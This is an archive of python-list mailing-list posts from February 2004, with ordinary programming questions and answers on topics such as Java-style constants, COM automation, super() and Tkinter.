Message-ID: <c11m1i$rba$2@news.service.uci.edu>

sys.excepthook will probably be your friend.

  - Josiah


From whisper at oz.net  Mon Feb 23 17:12:04 2004
From: whisper at oz.net (David LeBlanc)
Date: Mon, 23 Feb 2004 14:12:04 -0800
Subject: Python scripts in IIS
In-Reply-To: <f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
Message-ID: <LAEHLEAOBBLKAALGAPAFKENPDOAA.whisper@oz.net>

Naturally, you've installed Python as a Windows Scripting Host language with
PythonWin?

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-bounces+whisper=oz.net at python.org
> [mailto:python-list-bounces+whisper=oz.net at python.org]On Behalf Of Jon
> Cosby
> Sent: Monday, February 23, 2004 13:12
> To: python-list at python.org
> Subject: Re: Python scripts in IIS
>
>
> "Peter Hansen" <peter at engcorp.com> wrote
>
> > > I'm having trouble executing Python scripts in IIS. I have the error
> message
> > > "%1 is not a valid Win32 application". Anyone know what this is about?
> >
> > Somewhere, something is attempting to execute an application with an
> > argument that contains "%1", which is normally substituted with a
> > variable string supplied by something else.  Clearly that isn't
> happening
> > here.
> >
> > Without more detail, I doubt anyone can help much more.  Maybe
> you should
> > post some snippets of code.  Also, if the error message
> actually includes
> > more information (e.g. such as a Python traceback would have), cut and
> paste
> > the entire output rather than just retyping a part of it (if that's what
> you
> > did).
> >
> > -Peter
>
> I get the same line with all of my scripts, nothing else.
>
> Jon
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list




From michael at foord.net  Mon Feb 23 08:31:21 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 05:31:21 -0800
Subject: Python program organization
References: <6fGZb.25259$tM5.21166@fed1read04>
	<mailman.139.1077373119.27104.python-list@python.org>
	<40385A13.6090904@NOSPAMcox.net>
Message-ID: <8089854e.0402230531.30285c9@posting.google.com>

Derek W <whitedw at NOSPAMcox.net> wrote in message news:<40385A13.6090904 at NOSPAMcox.net>...
> Fran?ois Pinard wrote:
> 
> > [Derek W]
> > 
> > 
> >>Is it proper to break the program up into modules and put all of the
> >>modules in a package even if the modules would be of little or no use
> >>to others (such as the program specific GUI code)?
> > 
> > 
> > Hi, Derek.  It looks proper to me.  You might want to break a big
> > package into sub-packages, but all of it usually goes into a single
> > directory hierarchy.
> > 
> > 
> >>Would this package then go under Python's site-packages directory when
> >>the program is installed?
> > 
> > 
> > This is the most natural thing to do.
> > 
> > 


I disagree - if your program is an application it would be more normal
to put it in it's own directory in 'Program Files' - or whereever the
user specifies - rather than buryaing it somewhere in your python
distribution.

It's much better to save that directory for 'general' modules that are
going to be reused.

If all your 'modules' are in the same directory as the application
then python will import them fine wherever you put them.

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html

> >>Would distribution of a program like this use distutils?
> > 
> > 
> > Why not? :-)
> > 
> 
> Fran?ois,
> 
> Thank you for replying to my post.  I very much appreciate your input. 
> Great homepage by the way.
> 
> Thanks again,
> Derek


From bblochl2 at compuserve.de  Fri Feb 27 05:35:26 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Fri, 27 Feb 2004 11:35:26 +0100
Subject: No Thoughts about Everything
Message-ID: <403F1D6E.70001@compuserve.de>

Dave Brueck schrieb:

>bblochl wrote:
>  
>
>>I found a solution for the simulation of access modifier "static final "
>>in python:
>>
>>
>>class Mytest:
>>    LOGE_10=(2.302585092994046,)
>>    #Klassenkonstante (static final) use a tuple :-)
>>    #def __init__(self):
>>
>>    def log10(self,x):
>>        return(log(x)/LOGE_10[0])
>>
>>testmath=Mytest()
>>print "LOGE_10=%10.8f"%Mytest.LOGE_10[0]," and
>>log10=%f10.8"%testmath.log10(3)
>>Mytest.LOGE_10[0]=1
>>#print "LOGE_10=%10.8f"%Mytest.LOGE_10[0]," and
>>log10=%f10.8"%testmath.log10(3)
>>    
>>
>
>You want constants because you're worried that somebody will reassign the
>value, but do you (1) actually expect that that same programmer will remember
>to index it and (2) won't reassign a list value? :) Forcing the programmer to
>remember to do LOGE_10[0] instead of just LOGE_10 will be a source of way more
>bugs.
>
>Nothing is stopping him/her from doing:
>    Mytest.LOGE_10 = 5
>  or
>    Mytest.LOGE_10 = [5]
>
>If you really have to deal with this type of programmer, Python is probably not
>a good language to use. I recommend Pascal or something more strict because
>Python does little or nothing to protect against ill-intentioned /
>undisciplined programmers.
>
>But whatever you choose to do, please please PLEASE don't teach this to your
>new Python programmers - it is not how Python programs are written, it makes
>the code less readable, and it doesn't solve any real problem (where "real"
>means "one that actually occurs in practice").
>
>If it gives you some sense of security, then go ahead and use it in your own
>private code, but please don't pass this along to your students as "how you
>simulate Java's  'final' modifier in Python" because that's incorrect.
>
>Nice talking to you - have fun!
>-Dave
>
>
>  
>
Hi Dave,
Thanks for your constructive mail. I argue that many of the commenters 
have lost the starting point of that discussion thread that I incautious 
began 24.02.2004  and the development of the discussion in between. (Be 
shure that I will avoid such in the future!)  So obviously some people 
think me to drive crazy in using python in a way one usually does not - 
python spirit. To clarify in short: There was a contribution, where some 
critic points were listed - and the first point was "clumsy static class 
methods" and some statements to this point. (See PEP 318).

Myself I tried for longer to find a simple way to use access modifiers 
in python. I know them from JAVA since long time and I highly appreciate 
them for clearance and simple application to variables and classes as 
well. Absolutly beautiful and simple! (See/ Design principles  
http://www.python.org/dev/culture.html/ rules "1. Beautiful is better 
than ugly." and "3.  Simple is better than complex.")  So I asked in the 
mailing list for such concepts. ( I know Jython and I like it as much as 
python and I will check it again.)

My  starting point was the modifier static in combination with final. (I 
will use it to define natural constants once, without a chance to change 
them, may be eventually by inattention.) But I argue that that 
JAVA-concepts are not familiar in the python world. (One should look 
over the fence from time to time!) The modifier "final" (he keyword 
final) means that the value assigned to a name is final and will never 
change. such name declared *static and final* will exist as a single 
copy of the constant and will be shared among all the objects 
instantiated from the class. In JAVA a variable (or class) is set static 
simply by applying the modifier "static" and a variable (or class) is 
set final simply by applying the modifier "final".(To remember: "1. 
Beautiful is better than ugly." and "3.  Simple is better than 
complex.") Then one copy of that variable (object) will be created the 
first time that a class is loaded, and that copy will remain in 
existence until the program stops running. (That ist possible in python 
by the builtin "staticmethod(function):". But I find the application of 
the keyword static more elegant and simple.

*Again: The essential point of my interest was  to combine static with 
final in python as well!* That is state of the art and common use in 
real OOP. That is not a pervert idea of mine but a weel established 
concept. I never saw my snipplet of dirty code as the philosophers 
stone. ( The philosophers stone is sometimes very similar with the fools 
stone.) I know the unacceptable disadvantage of the error message if 
someone tries to change the value of the tuple. So it is not applicable 
in a real program! I used it to clearify my imagination of the 
realisation of "static final". So obviously that everyone thinks me to 
write crazy code and wearing a too large hat or pushing beginners off 
the programmers wagon! And I never ever planned to "teach" such nonsense 
code to everyone. (Again it was only a try to clarify the proposed 
concept.)

Preventing  programmers to reassign values of Variables is obligate 
suspicion for the sake of robust professional program development. The 
essential point  is, that no one should ever finger a static final 
varable in strict OOP and there very often is absolutely no need for! It 
is absolute wrong to speak of ill-intentioned /undisciplined 
programmers. Mankind is very unperfekt and one should stay on earth. 
Every programmer always is ill-intentioned /undisciplined - at first I 
myself! As a fact the largest error in computer science is sitting in 
front of the computer! ( May be the wife/husband of a programmer may 
have left him, or actually the beer drinking event "Oktoberfest" in 
Munich makes some headache. And so on.)  So it should be a rule of the 
trade to make the making of errors impossible where ever possible. For 
instance use of "static final" will help. Use it when ever appropriate!

There are some different fields of application - for some fields python 
is perfect as it is. But I miss some modern concepts in python I would 
like to find and use. I do miss the usual concepts of modern programming 
techniques in python. For instance I find it practically impossible to 
map a UML design to a python program. I would say *UML sets the 
conceptual standard for todays professional application programming*. 
Conceptual standard says nothing about syntax. My vision and dream is 
the marriage of the scripting power with the intentation syntax  with 
the strict object power of JAVA.. (I am awaiting a flame?)  And I have 
pointed out that sefety *must be* mostly part of the language to keep 
systems save and manageable!  In the Jython index I found no entry for 
the keyword "final".

You mention Pascal: Turbo-Pascal was a good choice in the past, 
ANSI-Pascal was horrible. Pascal - to my opinion has reached the 
retirement age. Python died on its side effects. Python should take 
care! That compares exactly to the problem, where the actual discussion 
bagan! Pascal has a second life in  Delfi/Kylix. (In my oppinion Delfi 
is a good choice for transporting ultra heavy load.) Your proposed 
solution was to change to another language - no problem.  I confess JAVA 
to my choice, because of the straight OO concept and some features that 
have been the center of the preceeding discussion.

I hope I met the point and cleared up all misunderstandings for one and 
ever.

Have fun with the device!

Bernhard




From jorgencederberg at hotmail.com  Thu Feb 26 10:59:22 2004
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Thu, 26 Feb 2004 16:59:22 +0100
Subject: python newbie having strangeness
In-Reply-To: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
References: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
Message-ID: <7Jo%b.5823$Zi.5392@news.get2net.dk>

Joe F. Blow wrote:
> The program below has been acting very weird. Last night it complained
> that I was referencing X in getline() before defining it. Of course I
> wasn't, as X is a global.
> 
> This morning I ran the exact same code again and now it says,
> "NameError: name 'convert' is not defined". HUH????? Of course it's
> defined!
> 
> What am I doing wrong? Any ideas? I'm using pythonwin and python2.3 on
> windoze xp.

Hi

yes convert is defined, but after it is being used. See below and notice 
how I have moved up before it is being used.

HTH
Jorgen Cederberg


> 
> ----------------------------------------------------------------------------------
> 
> x=1
> count=binlist=0

 > #convert ascii hex digits x & y to an integer
 > def convert(x,y):
 >     a=int(x)
 >     b=int(y)
 >     a=a<<4
 >     a=a+b
 >     return(a)

> 
> #get s19 file in list named "line"
> inp=file("c:\\download\\electron\\68hc11\\a code\\tankbot2.s19","r")
> line = inp.read()
> inp.close()
> 
> if line[x]=="0":            #is command char a "0"?
>     dig1=line[x+1]          #yes, get line length
>     dig2=line[x+2]
>     a=convert(dig1,dig2)
>     x=x+((a*2)+5)           #point to command char of next line
> 
> if line[x]=="1":
>     getline()
> print binlist
> 
> def getline():
>     global count
>     global x
>     global line
>     global binlist
>     dig1=line[x+1]
>     dig2=line[x+2]
>     a=convert(dig1,dig2)
>     x+=2
>     e=x
>     for e in range(e,e+a,2):
>         dig1=line[e+1]
>         dig2=line[e+2]
>         binlist[count]=convert(dig1,dig2)
>         count+=1
> 

> 
> 


From usenet at ixokai.net  Sun Feb  8 01:55:51 2004
From: usenet at ixokai.net (Ixokai)
Date: Sat, 7 Feb 2004 22:55:51 -0800
Subject: Python + COM problem. :(
Message-ID: <102bnbn155qdp9d@corp.supernews.com>

Greetings...

I'm working on automating Word, and have run into an interesting problem on
one workstation. If Word is not already running, then I can't run the
'Dispatch' to get the word application. On my PC at work, that's not the
case.

For example.. With word running...

>>> import win32com.client
>>> win32com.client.Dispatch("Word.Application")
<COMObject Word.Application>

But as soon as I shut word down...

>>> win32com.client.Dispatch("Word.Application")
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "Z:\Python23\Lib\site-packages\win32com\client\__init__.py", line 95,
in Dispatch
    dispatch, userName =
dynamic._GetGoodDispatchAndUserName(dispatch,userName,clsctx)
  File "Z:\Python23\Lib\site-packages\win32com\client\dynamic.py", line 84,
in _GetGoodDispatchAndUserName
    return (_GetGoodDispatch(IDispatch, clsctx), userName)
  File "Z:\Python23\Lib\site-packages\win32com\client\dynamic.py", line 72,
in _GetGoodDispatch
    IDispatch = pythoncom.CoCreateInstance(IDispatch, None, clsctx,
pythoncom.IID_IDispatch)
com_error: (-2147024770, 'The specified module could not be found.', None,
None)

Now, at work, when I called Dispatch, it'd just launch a copy of word
(hidden). So, I'm not sure what i'm doing wrong :)

Thanks for the help!

--Stephen




From me at privacy.net  Wed Feb 25 12:18:09 2004
From: me at privacy.net (Duncan Booth)
Date: 25 Feb 2004 17:18:09 GMT
Subject: test for raw string
References: <mailman.111.1077726871.8594.python-list@python.org>
Message-ID: <Xns949AAFFE06F28duncanrcpcouk@127.0.0.1>

John Hunter <jdhunter at ace.bsd.uchicago.edu> wrote in 
news:mailman.111.1077726871.8594.python-list at python.org:

> I have a function that takes a string as an argument.  Is there a way
> to test whether the caller of this function passed in a raw string
> 
> def func(s):
>     if israw(s): do_x()
>     else: do_y()
> 
> func(r'\hi mom')  # do_x
> func('hi mom')    # do_y
> 

A raw string is a feature of the syntax at compile time. You cannot 
distinguish a raw string any more than you can distinguish "hi mom" and 'hi 
mom'. The type of quotes, whether it was single or triple quoted, and 
whether it was raw or normal are simply aspects of the syntax.


From Kyler at news.Lairds.org  Fri Feb 13 23:11:56 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 14 Feb 2004 04:11:56 GMT
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org>
	<pusq20ha5tete3i14joul1j6oomq5tag1t@4ax.com>
Message-ID: <i0j0g1-7vr.ln1@jowls.lairds.org>

Arthur <ajsiegel at optonline.com> writes:

>My effort to give it realization is PyGeo

>http://pw1.netcom.com/~ajs

>which uses VPython  for 3d rendering - which I think deserves mention
>on your list particularly because of its facility at the interactive
>prompt.

I like it.  I hope it becomes a Debian package soon.

>One concrete thing I think would help spread the gospel as to Python's
>usefulness in this area is a LiveCD - Knoppix based, let's say - that
>would come pre-configured with a good amount of  this good stuff. 

I'm quite dependent on Knoppix/Morphix these days.  I appreciate
what they allow.

>Getting up and running with some of these tools can otherwise be a
>chore that one cannot expect the merely curious to undertake.

I need even more than that right now.  I'd like to be able to run
tools on the MS Windows-based computers that litter the classrooms
on campus.  That leaves me to either use pure Web-based apps like I
usually make or perhaps Java applets.

I haven't done anything with Jython in a long time but I was
hoping to experiment with it again for building applets.  That
would make it easy to deliver some simple interactive apps.

I'm also hoping to figure out a good way to integrate SSH and VNC
into a Java applet so that I can easily use a browser to run apps
on a better platform.  That'll give me a lot more flexibility to
run things that Jython won't.

A Knoppix-like solution doesn't work at all in many cases (locked
BIOS) and is clumsy in others (where the instructor presents using
PowerPoint).  I think it would be a *great* thing to give to
people who do control their presentation systems though.  I can
easily imagine a compelling demonstration to high school teachers
followed by "Oh, and here's a CD you can use to do all of this.
Grab one on your way out the door and feel free to make copies
for your students and colleagues.  No salesmen/lawyers will call."
*That* could be very exciting.

--kyler


From ticket at netuse.de  Wed Feb  4 15:11:08 2004
From: ticket at netuse.de (Workflow-Manager Service Team)
Date: Wed, 4 Feb 2004 21:11:08 +0100 (MET)
Subject: Ihre Anfrage: Service-Ticket 237215 -- test
Message-ID: <200402042011.i14KB8hr005858@boss.intern.netuse.de>

Sehr geehrte Damen und Herren,

die NetUSE AG hat Ihre Anfrage erhalten
und ihr die Nummer 237215 zugewiesen.

Bitte haben Sie etwas Geduld, wir werden uns darum k?mmern.

Falls sich Ihr Anliegen erledigt haben sollte, k?nnen Sie die
Anfrage durch eine Mail an "service at netuse.de"
mit dem Subject "@@ done 237215" l?schen.

Mit freundlichen Gr??en,
  Ihr Service-Team der NetUSE AG
-- 
NetUSE AG
Dr.-Hell-Stra?e 6, D-24107 Kiel, Germany
Fon: +49 431 386435 00   --   Fax: +49 431 386435 99

Der NetUSE Workflow Manager 3.0 ist eine Software der NetUSE AG.
Infos unter http://www.netuse.de/app/workflow/



From ir4u4 at yahoo.com  Mon Feb  2 05:52:00 2004
From: ir4u4 at yahoo.com (Equis Uno)
Date: 2 Feb 2004 02:52:00 -0800
Subject: How do I overload 'equals'?
Message-ID: <692feddd.0402020252.7c1abcb@posting.google.com>

Hi there,

I just figured out how to use __add__() to overload the "+" operator
for objects of a class.

According to googel queries, I see other functions available to me for
overloading other operators:

__mul__(), __sub__(), ...

I was hoping to overload "=" or use some string to do assignment with
side effects.

For example,

obj1 = ClassX('green')
obj2 = ClassX('red')

obj1 superEqual obj2

I'd like to be able to control the behavior of the superEqual operator
such that it does assignment with side effects.

For example, maybe it would do this:

obj = obj2
incrementEqualityCounter()
addAuditRecordToDB()

How do I do this in Python?

-moi


From stardif10 at hotmail.com  Sat Feb 14 21:18:51 2004
From: stardif10 at hotmail.com (Sam)
Date: Sun, 15 Feb 2004 13:18:51 +1100
Subject: How to make forums
In-Reply-To: <cb4342b6.0402141203.7afb55b3@posting.google.com>
References: <cb4342b6.0402141203.7afb55b3@posting.google.com>
Message-ID: <402ed6f8$0$14898$afc38c87@news.optusnet.com.au>

The cgi module will be of use to you:

http://www.python.org/doc/current/lib/module-cgi.html

On a related topic, how would one implement something equivalent to PHP 
'sessions' using Python to keep track of logged on users etc?

Spencer wrote:
> I am interested in making my own forums (powered by Python). I was
> wondering what would be needed to make one, so that I can start making
> it.
> 
> I have always used the login script I made (it uses PHP and MySQL),
> will people be able to use the forums using a PHP/MySQL login script?
> Will it makes things more complicated?
> 
> Of course I will answer any questions you may have.



From jcb at iteris.com  Sun Feb 22 16:58:35 2004
From: jcb at iteris.com (MetalOne)
Date: 22 Feb 2004 13:58:35 -0800
Subject: Is there an easier way to break a list into sub groups
References: <92c59a2c.0402212013.2e0fa89b@posting.google.com>
	<wJWZb.21339$wD5.18647@nwrddc03.gnilink.net>
Message-ID: <92c59a2c.0402221358.4a6ff688@posting.google.com>

Thanks, just what I was looking for.


From jayoconnor at earthlink.net  Sun Feb 29 11:33:21 2004
From: jayoconnor at earthlink.net (Jay O'Connor)
Date: Sun, 29 Feb 2004 16:33:21 GMT
Subject: IDLE on Windows; save files as UNIX?
Message-ID: <lvo0c.15119$aT1.1581@newsread1.news.pas.earthlink.net>

I'm doing some Python CGI programming under Windows (Win95) but my CGIs need to 
run on Linux.  If I try to write and save the files in IDLE, they get saved in 
DOS format and won't run on the Linux server.  If I load the files into another 
text editor and explictely "Save As" in UNIX format, they work fine, but the 
other editor is not Python aware so I'd rather not have to use if for main 
development, and having to load and resave my scripts before uploading to the 
server is a bit obnoxious.

Is there any way to for IDLE in Windows to save files in UNIX format?

Note: Pythonwin does not work on my machine so I can't use it as an alternative

Thanks



From mark at mceahern.com  Sun Feb  1 12:24:44 2004
From: mark at mceahern.com (Mark McEahern)
Date: Sun, 01 Feb 2004 11:24:44 -0600
Subject: variable creation from a pathname
In-Reply-To: <zoaTb.176324$VW.7187727@news3.tin.it>
References: <zoaTb.176324$VW.7187727@news3.tin.it>
Message-ID: <401D365C.4090600@mceahern.com>

gimar wrote:

>I wonder if there's a way to assign a value to the object obtained with:
>
>from os.path import *
>splitext(basename("c:\pyfiles\sample.txt"))[0]    -----> sample
>
>and make it possible something like this, for example:
>
>sample = 123
>
varname = 'sample'
value = 123
statement = '%s = %s' % (varname, value)
exec(statement) # usual caveats about the danger of exec, blah, blah, blah
print locals()

// m



From na  Mon Feb  9 16:54:01 2004
From: na (ADE)
Date: Mon, 9 Feb 2004 13:54:01 -0800
Subject: Searching
References: <102fauct3hc3lcc@corp.supernews.com> <40280886$1@nntp0.pdx.net>
Message-ID: <102g0gmmd7q3601@corp.supernews.com>

Hi sorry about that I am running Python 2.3 and Windows XP

"Scott David Daniels" <Scott.Daniels at Acm.Org> wrote in message
news:40280886$1 at nntp0.pdx.net...
> ADE wrote:
>
> > Hi I was wondering if one of you could help me out
> You are missing info on your system and python version.
> If you are running 2.3 or later:
> >...
> >             for name in files:
>  >                 name = name.lower()    # if on windows
> >                 if name.endswith('.jpg') and 'ocean' in name:
> >                     filenames['jpg'].append(os.path.join(root, name))
> >                     self.listbox1.insert(END, name)
> >                 elif name.endswith('.gif') and 'ocean' in name:
> >                     filenames['gif'].append(os.path.join(root, name))
> >                     self.listbox1.insert(END, name)
>
> -- 
> -Scott David Daniels
> Scott.Daniels at Acm.Org




From nospam-deets at web.de  Wed Feb  4 08:42:01 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 04 Feb 2004 14:42:01 +0100
Subject: stopping a threaded script
References: <bvqra3$2eu$1@solaris.cc.vt.edu>
Message-ID: <bvqsr4$vaei1$2@ID-111250.news.uni-berlin.de>

> When testing scripts, I normally type 'ctrl' combined with the key 'c'
> to abort the script, however, this doesn't work with scripts that are
> threaded. What's the proper way to abort a threaded program?

If its the proper way is a question of taste, however it is also possible
with C-c in m-threaded apps. Use the Thread.setDaemon-method - then your
app will go away when C-c is pressed.

Regards,

Diez


From cpl.19.ghum at spamgourmet.com  Wed Feb  4 10:58:54 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Wed, 4 Feb 2004 16:58:54 +0100
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
Message-ID: <Xns9485AE2B37659cpl19ghumspamgourmet@62.153.159.134>

> This is a question about the performance trade-off between two methods
> of storing data. One method is to create a separate attribute for each
> piece of data, and get/set the value according to its name. 

"Attributes of Objects" are essentially dictionaries. Access to elements of 
dictionaries is O(1), meaning: not depending on the length of the 
dictionary. (assuming there are no hash collisions)

You should try to compare performace with numeric indizes to Tuples instead 
of lists, cause tuples are invariant they may be faster.



From paxcalpt at sapo.pt  Sun Feb  8 10:48:35 2004
From: paxcalpt at sapo.pt (Paxcal)
Date: Sun, 8 Feb 2004 15:48:35 -0000
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
Message-ID: <40265d8b$0$8809$a729d347@news.telepac.pt>

I think that Python is really the best shioce... I started programming in
Python to make games and soon I started to listen people talking about how
easy and fast it was to create games in Python. Now I'm one of then =) .
Python is an object oriented interpreted language that can be used to do
from the simplest things to the extremely powerfull. The fact that it is
interpreted means that it's really easy to "compile" or run aplication
without extensive knowledge.
In fact when I took my first look at the Python documentation, after a few
hours I was starting to play with code.

If you are interested in looking at game programming with Python take a look
at this site:

www.pygame.org

Regards:

Ricardo

I'm sorry for my bad English but it is not my primary language...




From peterstrempel at yahoo.com  Wed Feb 18 13:34:08 2004
From: peterstrempel at yahoo.com (Peter Strempel)
Date: Wed, 18 Feb 2004 19:34:08 +0100
Subject: New SolarWolf, 1.5
References: <mailman.54.1076978618.31398.python-list@python.org>
	<dct8g1-7t.ln1@ID-66900.news.dfncis.de>
	<mailman.9.1077120219.27104.python-list@python.org>
Message-ID: <0qncg1-8o2.ln1@ID-66900.news.dfncis.de>

Pete Shinners wrote:
> Definitely all Python.

I admit I already had looked at the sources to make sure. :)

I suppose a significant amount of the low-level graphics stuff happens
inside the SDL C libraries, which should help performance. But I guess I am
not the person to lecture you about Pygame architecture. :)


> 'Binary Installers'

I noticed the Linux binary installer bundles Python. This annoyed me two
days ago, but right yesterday I got complains from a user of one of my
projects which is linked to Python 2.3 (and expecting this on the endusers
box) who is running Fedora which still has Python 2.2. I think I see your
point. Deployment on Linux sucks...


> When writing a game like this in Python, performance is always a concern. 

SolarWolf runs okay on my old PII 333 MHz box with acceptable performance,
but it's pushing the limits. And I know this isn't what the average user has
at home. I guess with todays hardware even graphic intensive games using
scripting languages should become less of a problem, as SolarWolf
demonstrates. And there is still the option to do some stuff in C, I
personally am an adept fan of a Pyrex and a profiler.


> There's a few other great looking Python games that have gotten pretty mature.
>
>      Pydance, http://icculus.org/pyddr/

Seen it, not my taste (that doesn't mean it's a bad game).

>      Pathological, http://pathological.sourceforge.net/

Addictive stuff, this lives on my harddisc since a couple of months already. :)

What I found interesting with SolarWolf is that it's the game written in a
scripting language which pushes graphics most among those programs I've seen
so far (including FrozenBubble, which is not Python but sort of the same
class). I'm not really a scripting zealot (right tool for the job, rather),
but it's pretty cool to see what actually is possible with Python, and
SolarWolf is a good demonstration concerning this point.

Another interesting Python & Games related project is Devils Whiskey, which
seems to make heavy use of Python as well. Vegastrike comes to my mind, too.


 Peter


From michael at foord.net  Thu Feb 26 04:31:24 2004
From: michael at foord.net (Fuzzyman)
Date: 26 Feb 2004 01:31:24 -0800
Subject: Taking Over the Screen - Tkinter
Message-ID: <8089854e.0402260131.3a3ad7b0@posting.google.com>

I'm working on a presentation program that needs to produce 'full
screen' images.

The effect will be something like a powerpoint presentation.
In actual fact it's a song database with lyrics - and each 'screen'
will need a widget for next verse, previous verse, chorus etc..... so
what I'd really like is a Tk text widget that is full screen sized.

(For the moment I'll just use a large window - most of the work will
be in building the interface to the database).

How do I either -

1) Produce a borderless full screen window *or*
2) Detect the window size

using Tkinter pereferably................


Thanks,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From nextstepn at katamail.com  Mon Feb  2 07:08:09 2004
From: nextstepn at katamail.com (NeXTstep)
Date: Mon, 2 Feb 2004 13:08:09 +0100
Subject: [leadership/opensource] invitation to online survey
Message-ID: <bvlejk$tjgq7$1@ID-216949.news.uni-berlin.de>

Dear all,

      I have just put online a survey addressing the topic of "leadership
in the open-source environment". Basically, my objective is to
identify the personal conceptions of good (or bad) leadership that reside in
the minds of the contributors, in terms of leaders' _behaviors_ and
_characteristics_.

What is a good (or conversely, a bad) open-source project leader, from the
contributor's point of view? To what extent, those personal believes are
shared among developers? Can the contributor's national cultural belonging
and level of experience in contributing to open-source projects explain such
differences in their idea of what a good (or bad) leader is?

I would really appreciate your participation to the survey! Contribution
(*completely* anonymous) consists in rating a list of statements that may be
used to describe the behaviors of an open-source leader. It will take around
ten minutes - there aren't any "time-consuming" open ended questions;)

Following, the link to the survey:

http://freeonlinesurveys.com/rendersurvey.asp?id=52191

If you are interested, I will not miss to email you a link to the
final report, when ready ;) (approx, a couple of months from now)

Thank you in advance, and don't hesitate to contact me if you have
any questions or comments :)

Gianluca Bosco
g.bosco at GETRIDOFTHISinwind.it
Denmark Technical University
Department of manufacturing engineering and management




From joerg.lehmann at mail.com  Wed Feb 11 15:49:29 2004
From: joerg.lehmann at mail.com (Joerg Lehmann)
Date: 11 Feb 2004 12:49:29 -0800
Subject: Print formatted Strings with Umlauts
Message-ID: <91317660.0402111249.4ccc6e24@posting.google.com>

I am using Python 2.2.3 (Fedora Core 1). The problem is, that strings containing
umlauts do not work as I would expect. Here is my example:

>>> a = '???'
>>> b = '123'
>>> print "%-5s %-5s\n%-5s %-5s" % (a,a,b,b)
??? ???
123   123

I would expect, that the displayed width of a or b is the same: 5 characters.
I also see, that len(a) is 6 (2 bytes per umlaut), whereas len(b) is 3:

>>> print len(a), len(b)
6 3

I have tried to set the encoding in site.py to 'latin-1', but it did not change
my results. Is there no way to store umlauts in 1 byte??? What is the right way
to print strings containing umlauts in a tabular way (same field width)?

Thanks!
--
Joerg Lehmann


From timr at probo.com  Thu Feb 19 02:43:47 2004
From: timr at probo.com (Tim Roberts)
Date: Wed, 18 Feb 2004 23:43:47 -0800
Subject: PEP218: Representing the empty set
References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
	<403281B3.7E370347@engcorp.com>
	<7xlln1pfip.fsf@ruckus.brouhaha.com>
	<40328E21.E451AE5A@engcorp.com>
	<7xznbh72xp.fsf@ruckus.brouhaha.com>
Message-ID: <c8q830tsg79as154rpg00evrm8orgg470g@4ax.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
>
>But you suffer the overhead either way.  The {} syntax may be worse
>than the function call syntax because it looks like it avoids the
>overhead when it really doesn't.  The correct way to avoid the
>overhead is with "if len(b) != 0: ... ".

Or, the way I would write it:

    if b:
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From PPNTWIMBXFFC at spammotel.com  Tue Feb 24 16:33:50 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 24 Feb 2004 13:33:50 -0800
Subject: Thoughts about Python
References: <403B4963.4060303@compuserve.de>
	<mailman.38.1077638089.8594.python-list@python.org>
Message-ID: <15c2d03b.0402241333.5f7a2738@posting.google.com>

> > I find your Thoughts about Python very interesting and valuable. I agree
> > in many of your arguments.
> 
> He mostly presented not arguments but unsupported ideas.  Most are based on
> misunderstandings with obvious flaws to experienced Pythoneers.

I cannot rule out misunderstandings and yes, I cannot see obvious
flaws (still can't, but I obviously have to read through all the
material to get answers). I do admit, that my "thoughts/ideas" may
have implications on the interpreter/language I cannot assess.

> > I would recommend you to post your  thoughts directly to
> > guido at python.org.
> 
> NO! Do not do this.  Guido is already way too busy to have such stuff
> imposed on him.
> Posting here was exactly the right thing to do.
> 
> >Guido is the source for a possible change.

I won't, don't be scared.

Obviously my "ideas/thoughts" are MY "personal problem" with Python as
I understand the comments so far and I must first learn more Python
before I can state things that disturbed me while learning...

Greetings from a Python-learner,
Marco


From michele.simionato at poste.it  Wed Feb 18 01:42:42 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 17 Feb 2004 22:42:42 -0800
Subject: super() not a panacea?
References: <pan.2004.02.17.18.59.19.712556@netlojix.net>
Message-ID: <95aa1afa.0402172242.17334743@posting.google.com>

"Clarence Gardner" <clarence at netlojix.net> wrote in message news:<pan.2004.02.17.18.59.19.712556 at netlojix.net>...
> The super object is considered a solution to the "diamond problem". 
> However, a problem comes up if that ultimate base class is also the base
> class for another which inherits from it and another independent base
> class also providing that method.

The solution I see is to introduce a placeholder base class Y 
with a dummy "m" method on top of the hierarchy:

class Y(object):
    def m(self):
        pass
    
class A(Y):
    def m(self):
        super(A, self).m()
        print '   A'

class B(A):
    def m(self):
        super(B, self).m()
        print '   B'

class C(A):
    def m(self):
        super(C, self).m()
        print '   C'

class D(B,C):
    def m(self):
        super(D, self).m()
        print '   D'

class Z(Y):
    def m(self):
        print '   Z'

class X(A, Z):
    def m(self):
        super(X, self).m()
        print '   X'

X().m()

D().m()
print X.mro()
print D.mro()

This is the easy solution. If you don't like it, let me know and I
will show you other possibilities.

       Michele Simionato


From eley_greg at bah.com  Sun Feb 22 22:50:45 2004
From: eley_greg at bah.com (eleyg)
Date: 22 Feb 2004 19:50:45 -0800
Subject: Extract data from ASCII file
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
Message-ID: <72a31cd.0402221950.215c8921@posting.google.com>

rlpreston at sbec.com (Ren) wrote in message news:<3602cff7.0402220711.3f7ed46 at posting.google.com>...
